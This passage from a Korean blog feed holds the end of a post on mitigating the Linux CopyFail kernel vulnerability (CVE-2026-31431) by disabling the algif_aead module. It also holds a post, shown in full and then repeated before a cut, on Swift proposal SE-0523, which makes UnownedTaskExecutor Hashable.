&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;우분투의 kmod가 업그레이드 되면서 설치하는 disable-algif_aead.conf 파일은 copyfail 취약점의 통로인 algif_aead kernel module을 /bin/false로 비활성화 하는 것으로 내용은 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573798416" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;$ cat  /etc/modprobe.d/disable-algif_aead.conf
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
# This will likely be re-enabled in a subsequent update once an updated
# kernel has been deployed.
# Blacklisting the module isn't sufficient, we need to do as below:
install algif_aead /bin/false&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;간혹 blacklist algif_aead 로 설정하라는 글이 있는데, 위 주석에도 적혀있듯이 blacklist보다는 /bin/false로 하는 방법이 더 깔끔하다. 참고로&amp;nbsp;kmod의&amp;nbsp;conf&amp;nbsp;파일을&amp;nbsp;실수로&amp;nbsp;지웠다든지&amp;nbsp;하는&amp;nbsp;경우에는&amp;nbsp;재설치할&amp;nbsp;때&amp;nbsp;missing&amp;nbsp;conf&amp;nbsp;파일을&amp;nbsp;덮어쓰도록&amp;nbsp;하는&amp;nbsp;옵션을&amp;nbsp;사용해서&amp;nbsp;아래처럼&amp;nbsp;명령해야&amp;nbsp;한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id="code_1778573819734" class="bash" data-ke-language="bash" data-ke-type="codeblock"&gt;&lt;code&gt;sudo apt-get -o Dpkg::Options::="--force-confmiss" install --reinstall kmod&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;4. 결론&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;리눅스의 CopyFail 취약점을 패치하기 위해서는 Fedora, Rocky, Ubuntu가 조금씩 다르기 때문에 그에 맞춰서 업그레이드 혹은 패치해주면 된다. 각 리눅스 배포판에 따라 패치가 나와있는지도 확인해보는 것이 좋다.[4] 다만 패치 후에는 확실하게 보완되었는지를 docker 컨테이너에서 테스트를 통해 검증해보는 것도 필요하다고 생각된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;참조&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;[1] CopyFail,&amp;nbsp;https://copy.fail&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;[2] Mitigating CVE-2026-&lt;/span&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;1431 on Rocky Linux 8, 9, 10, and LTS Variants. May 1, 2026. &lt;a href="https://kb.ciq.com/article/rocky-linux/rl-cve-2026-31431-mitigation"&gt;https://kb.ciq.com/article/rocky-linux/rl-cve-2026-31431-mitigation&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: Noto Sans Demilight, Noto Sans KR;"&gt;[3]&amp;nbsp;Fixes&amp;nbsp;available&amp;nbsp;for&amp;nbsp;CVE-2026-31431,&amp;nbsp;Luci&amp;nbsp;Stanescu,&amp;nbsp;30&amp;nbsp;April&amp;nbsp;2026,&amp;nbsp;https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&lt;span style="font-family: 'Noto Sans Demilight', 'Noto Sans KR';"&gt;[4] Vulnerability&amp;nbsp;Intelligence &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Noto Sans Demilight', 'Noto Sans KR';"&gt;CVE-2026-31431, https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-31431&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size16"&gt;&amp;nbsp;&lt;/p&gt;</summary>
    <title>Linux CopyFail 취약점 패치, CVE-2026-31431</title>
    <updated>2026-05-12T03:55:59+09:00</updated>
    <dc:date>2026-05-12T03:55:59+09:00</dc:date>
  </entry>
  <entry>
    <author>
      <name>GREEN.1229</name>
    </author>
    <content type="html">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"&gt;
&lt;html&gt;&lt;body&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;안녕하세요. &lt;span style="color: #409d00;"&gt;&lt;b&gt;그린&lt;/b&gt;&lt;/span&gt;입니다  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;이번 포스팅에서는 &lt;span style="background-color: #9feec3;"&gt;&lt;b&gt;SE-0523 — UnownedTaskExecutor의 Hashable 채택&lt;/b&gt;&lt;/span&gt;에 대해 정리해보겠습니다  &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-filename="123123.001.jpeg" data-origin-width="400" data-origin-height="400"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/chnXEU/dJMcadopJaQ/4XUWgRtY6Cknp9f56gCpbK/img.jpg" data-phocus="https://blog.kakaocdn.net/dn/chnXEU/dJMcadopJaQ/4XUWgRtY6Cknp9f56gCpbK/img.jpg"&gt;&lt;img src="https://blog.kakaocdn.net/dn/chnXEU/dJMcadopJaQ/4XUWgRtY6Cknp9f56gCpbK/img.jpg" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchnXEU%2FdJMcadopJaQ%2F4XUWgRtY6Cknp9f56gCpbK%2Fimg.jpg" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="400" height="400" data-filename="123123.001.jpeg" data-origin-width="400" data-origin-height="400"&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Intro&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Proposal:&lt;/b&gt; SE-0523&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Authors:&lt;/b&gt; Fabian Fett, Konrad Malawski&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Review Manager:&lt;/b&gt; John McCall&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Status:&lt;/b&gt; Implemented (Swift 6.4)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Motivation&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;SE-0417에서 도입된 task executor preferences는 현재 실행 중인 task의 &lt;code&gt;unownedTaskExecutor&lt;/code&gt;를 노출해, 성능에 민감한 코드가 executor 기반으로 스케줄링 결정을 내릴 수 있게 해줍니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;UnownedTaskExecutor&lt;/code&gt;는 이미 &lt;code&gt;Equatable&lt;/code&gt;을 채택하고 있어요. &lt;br&gt;그런데 &lt;code&gt;Hashable&lt;/code&gt;이 없다 보니, executor를 기준으로 리소스를 인덱싱해야 하는 경우에 불편함이 생겼습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt; &lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;대표적인 사례가 &lt;b&gt;커넥션 풀링&lt;/b&gt;입니다.&lt;br&gt;&lt;code&gt;ConnectionPool&lt;/code&gt;이 여러 executor에 걸쳐 커넥션을 관리할 때, task의 executor에 이미 연결된 커넥션을 우선적으로 반환하면 &lt;b&gt;불필요한 컨텍스트 스위치를 줄일 수 있거든요  &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style="style1"&gt;
&lt;br&gt;&lt;span style="font-family: 'Noto Serif KR';"&gt;Hashable이 없으면 executor를 찾기 위해 매번 선형 탐색을 해야 합니다  &lt;/span&gt;&lt;br&gt;&lt;br&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Before — O(n) 선형 탐색&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre class="pgsql" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;// Today: O(n) linear search
func pickConnection(preferring executor: UnownedTaskExecutor) -&amp;gt; Connection {
    for (e, connection) in executorConnectionList {
        if e == executor { return connection }
    }
    return executorConnectionList.first!.connection
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;&lt;br&gt;After — O(1) 딕셔너리 조회&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre class="pgsql" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;// With Hashable: O(1) dictionary lookup
func pickConnection(preferring executor: UnownedTaskExecutor) -&amp;gt; Connection {
    if let connection = connectionsByExecutor[executor] {
        return connection
    }
    return connectionsByExecutor.values.first!
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size18"&gt; &lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;이 패턴은 커넥션 풀링뿐만 아니라 executor identity를 기준으로 &lt;b&gt;리소스, 캐시, 스케줄링 메타데이터를 인덱싱하는 모든 시스템에 적용&lt;/b&gt;될 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Detailed Design&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;UnownedTaskExecutor&lt;/code&gt;는 &lt;code&gt;Builtin.Executor&lt;/code&gt; 값을 감싸는 struct입니다. &lt;br&gt;이미 기저 executor 참조의 &lt;b&gt;identity&lt;/b&gt;를 기반으로 &lt;code&gt;Equatable&lt;/code&gt; 채택이 되어 있어요.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;Hashable&lt;/code&gt; 채택도 동일한 identity 값을 해싱하므로, 기존 equality 시맨틱과 &lt;b&gt;일관성을 완전히 유지&lt;/b&gt;합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class="swift" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;extension UnownedTaskExecutor: Hashable {}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style="style1"&gt;
&lt;br&gt;&lt;span style="font-family: 'Noto Serif KR';"&gt;API 변경은 이것이 전부입니다. 딱 한 줄이에요  &lt;/span&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Source Compatibility / ABI&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;이번 변경은 &lt;b&gt;순수 additive 변경&lt;/b&gt;으로, 기존 코드는 변경 없이 그대로 컴파일됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;Equatable&lt;/code&gt;을 채택한 타입에 &lt;code&gt;Hashable&lt;/code&gt;을 추가하는 것은 소스 호환성을 깨지 않습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;프로토콜 채택 추가는 additive ABI 변경이며, 기존 ABI 서피스를 수정하지 않습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Alternatives Considered&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;아무것도 하지 않기&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;아무것도 하지 않으면, 개발자가 직접 &lt;code&gt;Hashable&lt;/code&gt; 채택을 구현해야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class="angelscript" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;extension UnownedTaskExecutor: Hashable {
  @inlinable
  public func hash(into hasher: inout Hasher) {
    let (ident, impl) = unsafeBitCast(self, to: (Int, Int).self)
    hasher.combine(ident)
    hasher.combine(impl)
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;br&gt;&lt;code&gt;unsafeBitCast&lt;/code&gt;를 직접 사용해야 한다는 점에서 불필요하게 위험하고 번거롭습니다. 표준 라이브러리 차원에서 제공하는 것이 당연히 올바른 방향이라고 생각합니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;아주 작은 변경이지만, &lt;b&gt;굉장히 자연스러운 확장&lt;/b&gt;입니다  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;Equatable&lt;/code&gt;을 채택하고 있는 타입이라면 &lt;code&gt;Hashable&lt;/code&gt;도 당연히 지원해야 한다는 Swift의 설계 철학에 맞게, &lt;code&gt;UnownedTaskExecutor&lt;/code&gt;도 이제 딕셔너리 키와 Set으로 자유롭게 활용할 수 있게 됩니다!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;executor 기반으로 리소스를 관리하는 코드를 작성하고 계신 분들께 특히 반가운 소식일 것 같습니다  &lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style="style1"&gt;
&lt;h2 data-ke-size="size26"&gt;
&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;References&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;
&lt;/h2&gt;
&lt;figure id="og_1778784735249" contenteditable="false" data-ke-type="opengraph" data-ke-align="alignCenter" data-og-type="object" data-og-title="swift-evolution/proposals/0523-hashable-unownedtask-executor.md at main · swiftlang/swift-evolution" data-og-description="This maintains proposals for changes and user-visible enhancements to the Swift Programming Language. - swiftlang/swift-evolution" data-og-host="github.com" data-og-source-url="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md" data-og-url="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md" data-og-image="https://scrap.kakaocdn.net/dn/bFo2Ef/dJMb86O6MRN/Xbx3QejrczjXFYwm2EyKO0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cdAawY/dJMb88F90tX/1z39Br2VC2aqKHkZd6lelk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600"&gt;&lt;a href="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md" target="_blank" rel="noopener" data-source-url="https://github.com/swiftlang/swift-evolution/blob/main/proposals/0523-hashable-unownedtask-executor.md"&gt;
&lt;div class="og-image" style="background-image: url('https://scrap.kakaocdn.net/dn/bFo2Ef/dJMb86O6MRN/Xbx3QejrczjXFYwm2EyKO0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/cdAawY/dJMb88F90tX/1z39Br2VC2aqKHkZd6lelk/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');"&gt; &lt;/div&gt;
&lt;div class="og-text"&gt;
&lt;p class="og-title" data-ke-size="size16"&gt;swift-evolution/proposals/0523-hashable-unownedtask-executor.md at main · swiftlang/swift-evolution&lt;/p&gt;
&lt;p class="og-desc" data-ke-size="size16"&gt;This maintains proposals for changes and user-visible enhancements to the Swift Programming Language. - swiftlang/swift-evolution&lt;/p&gt;
&lt;p class="og-host" data-ke-size="size16"&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;/body&gt;&lt;/html&gt;
</content>
    <id>https://green1229.tistory.com/620</id>
    <link href="https://green1229.tistory.com/620"/>
    <summary type="html">&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;안녕하세요. &lt;span style="color: #409d00;"&gt;&lt;b&gt;그린&lt;/b&gt;&lt;/span&gt;입니다  &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;이번 포스팅에서는 &lt;span style="background-color: #9feec3;"&gt;&lt;b&gt;SE-0523 &amp;mdash; UnownedTaskExecutor의 Hashable 채택&lt;/b&gt;&lt;/span&gt;에 대해 정리해보겠습니다  &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class="imageblock alignCenter" data-ke-mobileStyle="widthOrigin" data-filename="123123.001.jpeg" data-origin-width="400" data-origin-height="400"&gt;&lt;span data-url="https://blog.kakaocdn.net/dn/chnXEU/dJMcadopJaQ/4XUWgRtY6Cknp9f56gCpbK/img.jpg" data-phocus="https://blog.kakaocdn.net/dn/chnXEU/dJMcadopJaQ/4XUWgRtY6Cknp9f56gCpbK/img.jpg"&gt;&lt;img src="https://blog.kakaocdn.net/dn/chnXEU/dJMcadopJaQ/4XUWgRtY6Cknp9f56gCpbK/img.jpg" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchnXEU%2FdJMcadopJaQ%2F4XUWgRtY6Cknp9f56gCpbK%2Fimg.jpg" onerror="this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';" loading="lazy" width="400" height="400" data-filename="123123.001.jpeg" data-origin-width="400" data-origin-height="400"/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Intro&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Proposal:&lt;/b&gt; SE-0523&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Authors:&lt;/b&gt; Fabian Fett, Konrad Malawski&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Review Manager:&lt;/b&gt; John McCall&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Status:&lt;/b&gt; Implemented (Swift 6.4)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Motivation&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;SE-0417에서 도입된 task executor preferences는 현재 실행 중인 task의 &lt;code&gt;unownedTaskExecutor&lt;/code&gt;를 노출해, 성능에 민감한 코드가 executor 기반으로 스케줄링 결정을 내릴 수 있게 해줍니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;UnownedTaskExecutor&lt;/code&gt;는 이미 &lt;code&gt;Equatable&lt;/code&gt;을 채택하고 있어요. &lt;br /&gt;그런데 &lt;code&gt;Hashable&lt;/code&gt;이 없다 보니, executor를 기준으로 리소스를 인덱싱해야 하는 경우에 불편함이 생겼습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;대표적인 사례가 &lt;b&gt;커넥션 풀링&lt;/b&gt;입니다.&lt;br /&gt;&lt;code&gt;ConnectionPool&lt;/code&gt;이 여러 executor에 걸쳐 커넥션을 관리할 때, task의 executor에 이미 연결된 커넥션을 우선적으로 반환하면 &lt;b&gt;불필요한 컨텍스트 스위치를 줄일 수 있거든요  &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style="style1"&gt;&lt;br /&gt;&lt;span style="font-family: 'Noto Serif KR';"&gt;Hashable이 없으면 executor를 찾기 위해 매번 선형 탐색을 해야 합니다  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Before &amp;mdash; O(n) 선형 탐색&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre class="pgsql" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;// Today: O(n) linear search
func pickConnection(preferring executor: UnownedTaskExecutor) -&amp;gt; Connection {
    for (e, connection) in executorConnectionList {
        if e == executor { return connection }
    }
    return executorConnectionList.first!.connection
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size="size23"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;&lt;br /&gt;After &amp;mdash; O(1) 딕셔너리 조회&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;pre class="pgsql" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;// With Hashable: O(1) dictionary lookup
func pickConnection(preferring executor: UnownedTaskExecutor) -&amp;gt; Connection {
    if let connection = connectionsByExecutor[executor] {
        return connection
    }
    return connectionsByExecutor.values.first!
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size="size18"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;이 패턴은 커넥션 풀링뿐만 아니라 executor identity를 기준으로 &lt;b&gt;리소스, 캐시, 스케줄링 메타데이터를 인덱싱하는 모든 시스템에 적용&lt;/b&gt;될 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Detailed Design&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;UnownedTaskExecutor&lt;/code&gt;는 &lt;code&gt;Builtin.Executor&lt;/code&gt; 값을 감싸는 struct입니다. &lt;br /&gt;이미 기저 executor 참조의 &lt;b&gt;identity&lt;/b&gt;를 기반으로 &lt;code&gt;Equatable&lt;/code&gt; 채택이 되어 있어요.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;Hashable&lt;/code&gt; 채택도 동일한 identity 값을 해싱하므로, 기존 equality 시맨틱과 &lt;b&gt;일관성을 완전히 유지&lt;/b&gt;합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class="swift" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;extension UnownedTaskExecutor: Hashable {}&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style="style1"&gt;&lt;br /&gt;&lt;span style="font-family: 'Noto Serif KR';"&gt;API 변경은 이것이 전부입니다. 딱 한 줄이에요  &lt;/span&gt;&lt;/blockquote&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Source Compatibility / ABI&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;ul style="list-style-type: disc;" data-ke-list-type="disc"&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;이번 변경은 &lt;b&gt;순수 additive 변경&lt;/b&gt;으로, 기존 코드는 변경 없이 그대로 컴파일됩니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;code&gt;Equatable&lt;/code&gt;을 채택한 타입에 &lt;code&gt;Hashable&lt;/code&gt;을 추가하는 것은 소스 호환성을 깨지 않습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;프로토콜 채택 추가는 additive ABI 변경이며, 기존 ABI 서피스를 수정하지 않습니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style="style1" /&gt;
&lt;h2 data-ke-size="size26"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;Alternatives Considered&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;&lt;b&gt;아무것도 하지 않기&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size="size18"&gt;&lt;span style="font-family: 'Nanum Gothic'; color: #000000;"&gt;아무것도 하지 않으면, 개발자가 직접 &lt;code&gt;Hashable&lt;/code&gt; 채택을 구현해야 합니다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class="angelscript" style="background: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-size: 13px; overflow-x: auto;"&gt;&lt;code&gt;extension UnownedTaskExecutor: Hashable {
  @inlinable
  public func hash(into hasher: inout Hasher) {
    let (ident, impl) = unsafeBitCast(self, to: (Int, Int).self)
    hasher.combine(ident)
